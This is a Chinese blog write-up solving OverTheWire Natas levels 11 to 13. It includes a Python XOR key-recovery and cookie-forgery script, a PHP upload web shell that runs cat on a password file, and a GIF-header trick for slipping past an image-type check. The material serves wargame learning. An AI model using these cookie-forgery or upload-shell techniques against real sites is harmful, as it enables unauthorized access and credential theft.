natas(11-20)

natas11:同样查看源码,审计。想要得到密码,需要使showpassword设置为yes,loadData函数是将cookie的值解密还原,存储与mydata数组中,并返回mydata。而savaData函数则是将传入的参数进行编码处理,存在COOKIE[“data”]中。由此大体思路为,构造新的输入参数,是的showpassword值设置为yes,编码后得到新的data值。但完成这步,需...
摘要由CSDN通过智能技术生成

natas11:
  同样查看源码,审计。想要得到密码,需要使showpassword设置为yes,loadData函数是将cookie的值解密还原,存储与mydata数组中,并返回mydata。而savaData函数则是将传入的参数进行编码处理,存在COOKIE[“data”]中。

  由此大体思路为,构造新的输入参数,是的showpassword值设置为yes,编码后得到新的data值。但完成这步,需要知道异或操作中的key的值,而且这个值是设置好了的,所以需要逆推key值。
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
python代码(代码写的丑,大佬们勿喷orz):

import json
import base64

newdefaultdata = {"showpassword":"yes","bgcolor":"#ffffff"}
defaultdata = {"showpassword":"no","bgcolor":"#ffffff"}
data = 'ClVLIh4ASCsCBE8lAxMacFMZV2hdVVotEhhUJQNVAmhSEV4sFxFeaAw='

def xor_encrypt(p_in ,out):
    key = ''
    text = p_in
    for i in range(len(out)):
        temp = text[i]^out[i]
        key += chr(temp)
    return key

def newdata(data):
    key = "qw8J".encode()
    text = data
    outdata =''
    for i in range(len(text)):
        outdata += chr(text[i]^key[i%len(key)])
    return outdata
    
result = xor_encrypt(json.dumps(defaultdata).replace(" ","").encode(),base64.b64decode(data))
print(result)

resultdata = base64.b64encode(newdata(json.dumps(newdefaultdata).replace(" ","").encode()).encode())
print(resultdata)

natas12:
  一个文件上传的页面,随便上传一个文件,修改了文件后缀名,阅读源码,发现并没有过滤,只是修改了文件名字,可以上传一个php文件,里面设置读取nata13的命令,上传php文件后用bp抓包,修改filename的后缀为php,访问上传的php即可得到密码。

<?php
  	system('cat /etc/natas_webpass/natas13');
?>

natas13:
  一样的上传文件的页面,但对文件进行了过滤。利用了exif_imagetype()函数,该函数是读取图像的第一个字节检查其签名是否为图片信息前面。由此我们可以在php文件中加入图片签名绕过,其余步骤与natas12相同即可。

知识补充:
一个GIF89a图形文件就是一个根据图形交换格式(GIF)89a版(1989年7 月发行

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值